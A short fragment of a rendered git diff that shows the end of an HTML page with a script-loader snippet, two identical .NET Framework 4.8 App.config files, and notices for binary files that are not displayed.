d.getElementsByTagName('head')[0].appendChild(script);
|
||||
})(document);
|
||||
</script>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
|
||||
</startup>
|
||||
</configuration>
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
|
||||
</startup>
|
||||
</configuration>
|
||||
Binary file not shown.
Reference in New Issue
Block a user